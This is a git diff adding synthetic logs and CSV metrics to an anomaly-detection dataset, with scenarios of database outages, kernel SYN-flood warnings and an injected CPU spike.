a/anom_dataset/scenario_13/anom_13_13.log b/anom_dataset/scenario_13/anom_13_13.log new file mode 100644 index 0000000000000000000000000000000000000000..db08fa965d55f3600d2fbdd9ead3b9938f7ae580 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_13.log @@ -0,0 +1,91 @@ +Jul 13 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 13 10:00:05 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:00:10 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:00:15 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:00:20 systemd[1]: Starting daily clean up activities... +Jul 13 10:00:25 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:00:30 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:00:35 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:00:40 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 13 10:00:45 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:00:50 api-gateway[3456]: GET /api/v1/users/profile status=200 OK +Jul 13 10:00:55 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:01:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 10:01:05 api-gateway[3456]: GET /api/v1/users/profile status=200 OK +Jul 13 10:01:10 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:01:15 api-gateway[3456]: GET /api/v1/users/profile status=200 OK +Jul 13 10:01:20 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 13 10:01:25 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:01:30 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:01:35 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:01:40 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 10:01:45 api-gateway[3456]: GET /api/v1/users/profile status=200 OK +Jul 13 10:01:50 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:01:55 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:02:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 10:02:05 api-gateway[3456]: GET /api/v1/users/profile status=200 OK +Jul 13 10:02:10 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:02:15 api-gateway[3456]: GET /api/v1/users/profile status=200 OK +Jul 13 10:02:20 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 13 10:02:25 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:02:30 api-gateway[3456]: WARN Retrying connection to user-database... (attempt 1/3) +Jul 13 10:02:35 api-gateway[3456]: GET /api/v1/users/profile status=503 Service Unavailable +Jul 13 10:02:40 api-gateway[3456]: ERROR Connection to user-database failed: Timeout occurred +Jul 13 10:02:45 api-gateway[3456]: ERROR Connection to user-database failed: Timeout occurred +Jul 13 10:02:50 api-gateway[3456]: ERROR All retries failed for user-database +Jul 13 10:02:55 api-gateway[3456]: WARN Retrying connection to user-database... (attempt 1/3) +Jul 13 10:03:00 api-gateway[3456]: WARN Retrying connection to user-database... (attempt 1/3) +Jul 13 10:03:05 api-gateway[3456]: ERROR Connection to user-database failed: Timeout occurred +Jul 13 10:03:10 api-gateway[3456]: WARN Retrying connection to user-database... (attempt 1/3) +Jul 13 10:03:15 api-gateway[3456]: ERROR All retries failed for user-database +Jul 13 10:03:20 api-gateway[3456]: GET /api/v1/users/profile status=503 Service Unavailable +Jul 13 10:03:25 api-gateway[3456]: ERROR All retries failed for user-database +Jul 13 10:03:30 api-gateway[3456]: GET /api/v1/users/profile status=503 Service Unavailable +Jul 13 10:03:35 api-gateway[3456]: WARN Retrying connection to user-database... (attempt 1/3) +Jul 13 10:03:40 api-gateway[3456]: GET /api/v1/users/profile status=503 Service Unavailable +Jul 13 10:03:45 api-gateway[3456]: GET /api/v1/users/profile status=503 Service Unavailable +Jul 13 10:03:50 api-gateway[3456]: ERROR All retries failed for user-database +Jul 13 10:03:55 api-gateway[3456]: ERROR All retries failed for user-database +Jul 13 10:04:00 api-gateway[3456]: ERROR Connection to user-database failed: Timeout occurred +Jul 13 10:04:05 api-gateway[3456]: GET /api/v1/users/profile status=503 Service Unavailable +Jul 13 10:04:10 api-gateway[3456]: ERROR All retries failed for user-database +Jul 13 10:04:15 api-gateway[3456]: WARN Retrying connection to user-database... (attempt 1/3) +Jul 13 10:04:20 api-gateway[3456]: WARN Retrying connection to user-database... (attempt 1/3) +Jul 13 10:04:25 api-gateway[3456]: ERROR All retries failed for user-database +Jul 13 10:04:30 api-gateway[3456]: WARN Retrying connection to user-database... (attempt 1/3) +Jul 13 10:04:35 api-gateway[3456]: GET /api/v1/users/profile status=503 Service Unavailable +Jul 13 10:04:40 api-gateway[3456]: WARN Retrying connection to user-database... (attempt 1/3) +Jul 13 10:04:45 api-gateway[3456]: ERROR All retries failed for user-database +Jul 13 10:04:50 api-gateway[3456]: ERROR All retries failed for user-database +Jul 13 10:04:55 api-gateway[3456]: WARN Retrying connection to user-database... (attempt 1/3) +Jul 13 10:05:00 api-gateway[3456]: INFO Connection to user-database restored successfully +Jul 13 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 13 10:05:05 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:05:10 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:05:15 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 13 10:05:25 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:05:30 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:05:35 api-gateway[3456]: GET /api/v1/users/profile status=200 OK +Jul 13 10:05:40 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 13 10:05:45 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:05:50 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:05:55 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:06:00 systemd[1]: Starting daily clean up activities... +Jul 13 10:06:05 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:06:10 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:06:15 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:06:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 10:06:25 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:06:30 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:06:35 api-gateway[3456]: GET /api/v1/users/profile status=200 OK +Jul 13 10:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 13 10:06:45 api-gateway[3456]: GET /api/v1/products/list status=200 OK +Jul 13 10:06:50 api-gateway[3456]: GET /api/v1/users/profile status=200 OK +Jul 13 10:06:55 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:07:00 systemd[1]: Starting daily clean up activities... +Jul 13 10:07:05 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:07:10 api-gateway[3456]: POST /api/v1/orders status=201 Created +Jul 13 10:07:15 api-gateway[3456]: GET /api/v1/users/profile status=200 OK +Jul 13 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod api-gateway-pod +Jul 13 10:07:25 api-gateway[3456]: POST /api/v1/orders status=201 Created diff --git a/anom_dataset/scenario_13/anom_13_14.csv b/anom_dataset/scenario_13/anom_13_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..6269431f502e152d9bfb33e84db4462d527dc830 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-13T10:00:00Z,17.06018586832379,43.76716194826653,29.036389303879037,1.0622677120540849,0.8213522648097829 +2025-07-13T10:00:05Z,15.205123588949558,43.880127120092325,27.09327289218646,1.2776758811510764,0.5854942243690777 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+2025-07-13T10:06:55Z,13.365080837992412,45.372114856643805,33.61825744279384,1.389298893811547,1.0226771302581836 +2025-07-13T10:07:00Z,15.676626504365998,46.4709069976995,26.486684947099665,0.831572052639105,0.8116931322087684 +2025-07-13T10:07:05Z,18.225862394584297,43.312764237266606,21.85210384439963,0.9583503330785809,0.986624876438445 +2025-07-13T10:07:10Z,18.664515067339075,47.683794552724976,33.590382723447796,0.9267499087096893,0.5494604240496018 +2025-07-13T10:07:15Z,17.823871505443474,41.41514009922427,26.601494330778266,1.3251817836559752,1.2315406501893111 +2025-07-13T10:07:20Z,23.04945523277624,44.14953713007734,25.26340788093028,1.6237851603879825,1.2562151629047391 +2025-07-13T10:07:25Z,13.091026870094593,46.05883040624499,30.592672332525357,1.1553735863963266,1.1060833847738192 diff --git a/anom_dataset/scenario_13/anom_13_14.log b/anom_dataset/scenario_13/anom_13_14.log new file mode 100644 index 0000000000000000000000000000000000000000..69c4bf3027230a01d903d08efb8b888577526ecc --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_14.log @@ -0,0 +1,170 @@ +Jul 13 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 13 10:00:03 systemd[1]: Starting daily clean up activities... +Jul 13 10:00:06 api-gateway[4567]: GET /api/v1/user/84 status=200 OK +Jul 13 10:00:10 cache-service[8899]: INFO Cache hit for key: user_profile_35 +Jul 13 10:00:14 systemd[1]: Starting daily clean up activities... +Jul 13 10:00:15 api-gateway[4567]: GET /api/v1/user/50 status=200 OK +Jul 13 10:00:19 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:00:22 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:00:25 cache-service[8899]: INFO Cache hit for key: user_profile_39 +Jul 13 10:00:27 cache-service[8899]: INFO Cache hit for key: user_profile_49 +Jul 13 10:00:30 cache-service[8899]: INFO Cache hit for key: user_profile_174 +Jul 13 10:00:32 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:00:35 cache-service[8899]: INFO Cache hit for key: user_profile_105 +Jul 13 10:00:38 cache-service[8899]: INFO Cache hit for key: user_profile_53 +Jul 13 10:00:40 cache-service[8899]: INFO Cache hit for key: user_profile_13 +Jul 13 10:00:43 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:00:45 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:00:48 cache-service[8899]: INFO Cache hit for key: user_profile_93 +Jul 13 10:00:50 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:00:53 cache-service[8899]: INFO Cache hit for key: user_profile_178 +Jul 13 10:00:55 systemd[1]: Starting daily clean up activities... +Jul 13 10:00:56 api-gateway[4567]: GET /api/v1/user/140 status=200 OK +Jul 13 10:01:00 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:01:03 systemd[1]: Starting daily clean up activities... +Jul 13 10:01:05 cache-service[8899]: INFO Cache hit for key: user_profile_132 +Jul 13 10:01:09 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:01:10 systemd[1]: Starting daily clean up activities... +Jul 13 10:01:14 cache-service[8899]: INFO Cache hit for key: user_profile_24 +Jul 13 10:01:15 cache-service[8899]: INFO Cache hit for key: user_profile_42 +Jul 13 10:01:19 cache-service[8899]: INFO Cache hit for key: user_profile_51 +Jul 13 10:01:22 systemd[1]: Starting daily clean up activities... +Jul 13 10:01:25 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:01:27 systemd[1]: Starting daily clean up activities... +Jul 13 10:01:30 systemd[1]: Starting daily clean up activities... +Jul 13 10:01:31 systemd[1]: Starting daily clean up activities... +Jul 13 10:01:38 cache-service[8899]: INFO Cache hit for key: user_profile_67 +Jul 13 10:01:40 cache-service[8899]: INFO Cache hit for key: user_profile_183 +Jul 13 10:01:43 systemd[1]: Starting daily clean up activities... +Jul 13 10:01:45 cache-service[8899]: INFO Cache hit for key: user_profile_187 +Jul 13 10:01:49 cache-service[8899]: INFO Cache hit for key: user_profile_144 +Jul 13 10:01:50 cache-service[8899]: INFO Cache hit for key: user_profile_58 +Jul 13 10:01:52 api-gateway[4567]: GET /api/v1/user/158 status=200 OK +Jul 13 10:01:55 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:01:59 api-gateway[4567]: GET /api/v1/user/41 status=200 OK +Jul 13 10:02:04 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:02:05 api-gateway[4567]: GET /api/v1/user/43 status=200 OK +Jul 13 10:02:09 systemd[1]: Starting daily clean up activities... +Jul 13 10:02:10 systemd[1]: Starting daily clean up activities... +Jul 13 10:02:12 systemd[1]: Starting daily clean up activities... +Jul 13 10:02:15 cache-service[8899]: INFO Cache hit for key: user_profile_168 +Jul 13 10:02:16 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:02:20 api-gateway[4567]: GET /api/v1/user/57 status=200 OK +Jul 13 10:02:23 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:02:25 api-gateway[4567]: GET /api/v1/user/122 status=200 OK +Jul 13 10:02:26 cache-service[8899]: INFO Cache hit for key: user_profile_199 +Jul 13 10:02:30 web-api[1234]: ERROR Connection to database 'pg-primary' failed: timeout expired +Jul 13 10:02:34 web-api[1234]: ERROR Upstream service 'payment-processor' is unavailable +Jul 13 10:02:35 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 2/5)... +Jul 13 10:02:39 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 1/5)... +Jul 13 10:02:40 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 2/5)... +Jul 13 10:02:43 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 2/5)... +Jul 13 10:02:45 web-api[1234]: GET /api/v1/checkout status=503 Service Unavailable +Jul 13 10:02:46 web-api[1234]: ERROR Upstream service 'payment-processor' is unavailable +Jul 13 10:02:50 systemd[1]: Starting daily clean up activities... +Jul 13 10:02:52 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 2/5)... +Jul 13 10:02:55 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 1/5)... +Jul 13 10:02:56 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 1/5)... +Jul 13 10:03:00 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:03:01 web-api[1234]: ERROR Connection to database 'pg-primary' failed: timeout expired +Jul 13 10:03:03 web-api[1234]: GET /api/v1/products status=503 Service Unavailable +Jul 13 10:03:05 web-api[1234]: ERROR Upstream service 'payment-processor' is unavailable +Jul 13 10:03:09 web-api[1234]: ERROR Connection to database 'pg-primary' failed: timeout expired +Jul 13 10:03:10 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 1/5)... +Jul 13 10:03:11 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:03:15 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 1/5)... +Jul 13 10:03:17 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:03:20 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:03:22 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:03:25 web-api[1234]: GET /api/v1/products status=503 Service Unavailable +Jul 13 10:03:26 web-api[1234]: GET /api/v1/checkout status=503 Service Unavailable +Jul 13 10:03:30 cache-service[8899]: INFO Cache hit for key: user_profile_159 +Jul 13 10:03:33 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:03:35 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:03:38 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 1/5)... +Jul 13 10:03:40 systemd[1]: Starting daily clean up activities... +Jul 13 10:03:42 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 1/5)... +Jul 13 10:03:44 web-api[1234]: ERROR Upstream service 'payment-processor' is unavailable +Jul 13 10:03:45 web-api[1234]: ERROR Upstream service 'payment-processor' is unavailable +Jul 13 10:03:46 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:03:50 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:03:51 web-api[1234]: GET /api/v1/products status=503 Service Unavailable +Jul 13 10:03:55 web-api[1234]: ERROR Upstream service 'payment-processor' is unavailable +Jul 13 10:03:57 web-api[1234]: GET /api/v1/products status=503 Service Unavailable +Jul 13 10:04:00 web-api[1234]: ERROR Connection to database 'pg-primary' failed: timeout expired +Jul 13 10:04:02 web-api[1234]: GET /api/v1/checkout status=503 Service Unavailable +Jul 13 10:04:05 web-api[1234]: GET /api/v1/checkout status=503 Service Unavailable +Jul 13 10:04:09 web-api[1234]: ERROR Connection to database 'pg-primary' failed: timeout expired +Jul 13 10:04:10 web-api[1234]: GET /api/v1/checkout status=503 Service Unavailable +Jul 13 10:04:14 web-api[1234]: GET /api/v1/products status=503 Service Unavailable +Jul 13 10:04:15 web-api[1234]: GET /api/v1/checkout status=503 Service Unavailable +Jul 13 10:04:16 web-api[1234]: ERROR Upstream service 'payment-processor' is unavailable +Jul 13 10:04:20 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 1/5)... +Jul 13 10:04:23 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:04:25 web-api[1234]: GET /api/v1/inventory status=503 Service Unavailable +Jul 13 10:04:28 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 1/5)... +Jul 13 10:04:30 web-api[1234]: GET /api/v1/checkout status=503 Service Unavailable +Jul 13 10:04:34 web-api[1234]: GET /api/v1/products status=503 Service Unavailable +Jul 13 10:04:35 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:04:38 web-api[1234]: GET /api/v1/products status=503 Service Unavailable +Jul 13 10:04:40 web-api[1234]: ERROR Upstream service 'payment-processor' is unavailable +Jul 13 10:04:44 web-api[1234]: ERROR Connection to database 'pg-primary' failed: timeout expired +Jul 13 10:04:45 web-api[1234]: GET /api/v1/products status=503 Service Unavailable +Jul 13 10:04:47 web-api[1234]: GET /api/v1/products status=503 Service Unavailable +Jul 13 10:04:50 web-api[1234]: ERROR Connection to database 'pg-primary' failed: timeout expired +Jul 13 10:04:51 web-api[1234]: ERROR Connection to database 'pg-primary' failed: timeout expired +Jul 13 10:04:55 web-api[1234]: ERROR Upstream service 'payment-processor' is unavailable +Jul 13 10:04:57 web-api[1234]: WARN Reconnecting to database 'pg-primary' (attempt 2/5)... +Jul 13 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:04 api-gateway[4567]: GET /api/v1/user/106 status=200 OK +Jul 13 10:05:05 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:08 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:12 api-gateway[4567]: GET /api/v1/user/199 status=200 OK +Jul 13 10:05:15 cache-service[8899]: INFO Cache hit for key: user_profile_199 +Jul 13 10:05:19 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:05:21 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:25 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:05:26 cache-service[8899]: INFO Cache hit for key: user_profile_63 +Jul 13 10:05:30 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:33 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:35 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:36 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:40 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:05:44 api-gateway[4567]: GET /api/v1/user/146 status=200 OK +Jul 13 10:05:45 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:47 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:50 api-gateway[4567]: GET /api/v1/user/192 status=200 OK +Jul 13 10:05:54 systemd[1]: Starting daily clean up activities... +Jul 13 10:05:55 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:05:57 cache-service[8899]: INFO Cache hit for key: user_profile_107 +Jul 13 10:06:00 cache-service[8899]: INFO Cache hit for key: user_profile_119 +Jul 13 10:06:03 systemd[1]: Starting daily clean up activities... +Jul 13 10:06:05 api-gateway[4567]: GET /api/v1/user/113 status=200 OK +Jul 13 10:06:07 api-gateway[4567]: GET /api/v1/user/107 status=200 OK +Jul 13 10:06:10 cache-service[8899]: INFO Cache hit for key: user_profile_31 +Jul 13 10:06:13 systemd[1]: Starting daily clean up activities... +Jul 13 10:06:15 api-gateway[4567]: GET /api/v1/user/72 status=200 OK +Jul 13 10:06:18 systemd[1]: Starting daily clean up activities... +Jul 13 10:06:23 api-gateway[4567]: GET /api/v1/user/115 status=200 OK +Jul 13 10:06:25 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:06:29 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:06:30 api-gateway[4567]: GET /api/v1/user/151 status=200 OK +Jul 13 10:06:33 systemd[1]: Starting daily clean up activities... +Jul 13 10:06:38 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:06:40 cache-service[8899]: INFO Cache hit for key: user_profile_44 +Jul 13 10:06:44 systemd[1]: Starting daily clean up activities... +Jul 13 10:06:45 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:06:46 cache-service[8899]: INFO Cache hit for key: user_profile_120 +Jul 13 10:06:50 systemd[1]: Starting daily clean up activities... +Jul 13 10:06:51 cache-service[8899]: INFO Cache hit for key: user_profile_147 +Jul 13 10:06:59 api-gateway[4567]: GET /api/v1/user/120 status=200 OK +Jul 13 10:07:04 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:07:05 api-gateway[4567]: GET /api/v1/user/66 status=200 OK +Jul 13 10:07:06 systemd[1]: Starting daily clean up activities... +Jul 13 10:07:10 api-gateway[4567]: GET /api/v1/user/189 status=200 OK +Jul 13 10:07:13 cache-service[8899]: INFO Cache hit for key: user_profile_176 +Jul 13 10:07:15 systemd[1]: Starting daily clean up activities... +Jul 13 10:07:19 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 13 10:07:20 cache-service[8899]: INFO Cache hit for key: user_profile_48 +Jul 13 10:07:24 systemd[1]: Starting daily clean up activities... +Jul 13 10:07:25 systemd[1]: Starting daily clean up activities... diff --git a/anom_dataset/scenario_13/anom_13_15.csv b/anom_dataset/scenario_13/anom_13_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..820769d5f80ac21ec33c98ba69c56b7a71cd0520 --- /dev/null +++ b/anom_dataset/scenario_13/anom_13_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,10.5,36.42,34.13,1.18,1.38 +2025-07-02T12:00:05Z,17.0,37.72,38.57,1.38,1.62 +2025-07-02T12:00:10Z,14.07,44.52,33.74,1.21,1.41 +2025-07-02T12:00:15Z,17.86,43.27,28.5,1.43,1.67 +2025-07-02T12:00:20Z,15.23,35.64,27.02,1.23,1.44 +2025-07-02T12:00:25Z,12.61,43.02,29.08,1.21,1.41 +2025-07-02T12:00:30Z,16.35,35.83,30.77,1.05,1.23 +2025-07-02T12:00:35Z,13.56,36.63,30.08,1.15,1.34 +2025-07-02T12:00:40Z,12.85,38.67,38.64,1.05,1.23 +2025-07-02T12:00:45Z,13.85,39.88,36.52,1.29,1.51 +2025-07-02T12:00:50Z,11.9,37.59,29.5,1.35,1.58 +2025-07-02T12:00:55Z,17.21,43.49,28.29,1.3,1.52 +2025-07-02T12:01:00Z,13.94,37.74,25.72,1.16,1.36 +2025-07-02T12:01:05Z,12.49,38.7,21.4,1.03,1.21 +2025-07-02T12:01:10Z,13.08,36.03,34.15,1.44,1.68 +2025-07-02T12:01:15Z,12.9,39.72,21.05,1.2,1.41 +2025-07-02T12:01:20Z,18.36,36.83,24.65,1.25,1.46 +2025-07-02T12:01:25Z,19.05,37.99,32.33,1.29,1.51 +2025-07-02T12:01:30Z,12.4,43.15,28.51,1.21,1.42 +2025-07-02T12:01:35Z,14.73,40.83,21.72,1.39,1.63 +2025-07-02T12:01:40Z,10.34,38.98,38.75,1.11,1.29 +2025-07-02T12:01:45Z,11.7,44.67,32.89,1.47,1.72 +2025-07-02T12:01:50Z,16.64,41.44,22.61,1.47,1.71 +2025-07-02T12:01:55Z,14.68,43.2,26.96,1.41,1.65 +2025-07-02T12:02:00Z,17.31,35.43,25.12,1.38,1.61 +2025-07-02T12:02:05Z,19.71,36.79,36.51,1.45,1.7 +2025-07-02T12:02:10Z,14.3,36.55,34.52,1.49,1.74 +2025-07-02T12:02:15Z,16.78,42.66,30.18,1.17,1.37 +2025-07-02T12:02:20Z,11.83,37.91,30.48,1.07,1.25 +2025-07-02T12:02:25Z,16.11,42.34,39.03,1.26,1.48 +2025-07-02T12:02:30Z,86.1,37.13,25.73,0.24,0.19 +2025-07-02T12:02:35Z,86.37,46.16,36.3,0.18,0.12 +2025-07-02T12:02:40Z,85.77,46.49,20.7,0.11,0.25 +2025-07-02T12:02:45Z,83.82,39.69,28.49,0.17,0.13 +2025-07-02T12:02:50Z,82.8,41.58,37.56,0.18,0.13 +2025-07-02T12:02:55Z,88.87,43.52,33.71,0.12,0.26 +2025-07-02T12:03:00Z,90.38,45.89,28.47,0.23,0.27 +2025-07-02T12:03:05Z,87.31,50.22,24.08,0.22,0.13 +2025-07-02T12:03:10Z,88.45,49.2,31.17,0.15,0.26 +2025-07-02T12:03:15Z,84.6,55.59,35.83,0.14,0.16 +2025-07-02T12:03:20Z,80.7,54.38,30.63,0.12,0.22 +2025-07-02T12:03:25Z,84.51,50.23,32.17,0.1,0.1 +2025-07-02T12:03:30Z,94.96,51.08,29.56,0.18,0.18 +2025-07-02T12:03:35Z,91.54,59.26,28.64,0.19,0.26 +2025-07-02T12:03:40Z,91.87,59.38,20.87,0.13,0.17 +2025-07-02T12:03:45Z,93.68,54.15,30.51,0.18,0.28 +2025-07-02T12:03:50Z,83.45,62.08,37.42,0.23,0.22 +2025-07-02T12:03:55Z,88.14,55.7,34.99,0.16,0.15 +2025-07-02T12:04:00Z,80.18,59.4,24.98,0.11,0.21 +2025-07-02T12:04:05Z,94.47,67.47,37.82,0.11,0.13 +2025-07-02T12:04:10Z,90.72,69.04,22.02,0.29,0.2 +2025-07-02T12:04:15Z,93.95,66.6,37.03,0.16,0.22 +2025-07-02T12:04:20Z,90.29,64.76,37.87,0.26,0.12 +2025-07-02T12:04:25Z,94.28,65.39,34.95,0.27,0.29 +2025-07-02T12:04:30Z,92.29,65.24,21.04,0.11,0.3 +2025-07-02T12:04:35Z,85.73,69.89,26.57,0.13,0.21 +2025-07-02T12:04:40Z,87.41,72.32,20.09,0.16,0.16 +2025-07-02T12:04:45Z,87.22,71.37,39.28,0.2,0.22 +2025-07-02T12:04:50Z,83.04,77.16,35.18,0.26,0.28 +2025-07-02T12:04:55Z,80.09,74.43,20.18,0.15,0.19 +2025-07-02T12:05:00Z,17.21,42.94,25.65,1.08,1.26 +2025-07-02T12:05:05Z,11.75,42.49,38.7,1.08,1.26 +2025-07-02T12:05:10Z,13.71,41.44,23.31,1.45,1.7 +2025-07-02T12:05:15Z,10.03,35.11,28.48,1.08,1.26 +2025-07-02T12:05:20Z,11.44,37.41,33.28,1.12,1.31 +2025-07-02T12:05:25Z,16.91,36.56,33.39,1.33,1.56 +2025-07-02T12:05:30Z,13.96,41.28,23.62,1.42,1.66 +2025-07-02T12:05:35Z,18.57,40.59,25.75,1.21,1.41 +2025-07-02T12:05:40Z,12.45,38.02,32.77,1.35,1.58 +2025-07-02T12:05:45Z,12.99,36.27,37.92,1.28,1.5 +2025-07-02T12:05:50Z,19.77,44.18,38.95,1.15,1.35 +2025-07-02T12:05:55Z,11.7,42.36,30.03,1.4,1.64 +2025-07-02T12:06:00Z,14.86,39.32,29.58,1.32,1.55 +2025-07-02T12:06:05Z,16.18,41.72,20.18,1.41,1.65 +2025-07-02T12:06:10Z,19.05,44.37,28.68,1.21,1.41 +2025-07-02T12:06:15Z,12.37,44.35,34.19,1.14,1.33 +2025-07-02T12:06:20Z,16.15,41.57,33.45,1.06,1.24 +2025-07-02T12:06:25Z,13.08,44.63,28.23,1.29,1.51 +2025-07-02T12:06:30Z,11.74,38.35,22.74,1.23,1.44 +2025-07-02T12:06:35Z,10.16,37.43,29.51,1.01,1.18 +2025-07-02T12:06:40Z,16.56,36.52,32.01,1.3,1.52 +2025-07-02T12:06:45Z,17.71,35.8,32.88,1.38,1.61 +2025-07-02T12:06:50Z,18.16,43.61,27.34,1.39,1.63 +2025-07-02T12:06:55Z,11.17,40.53,27.09,1.01,1.18 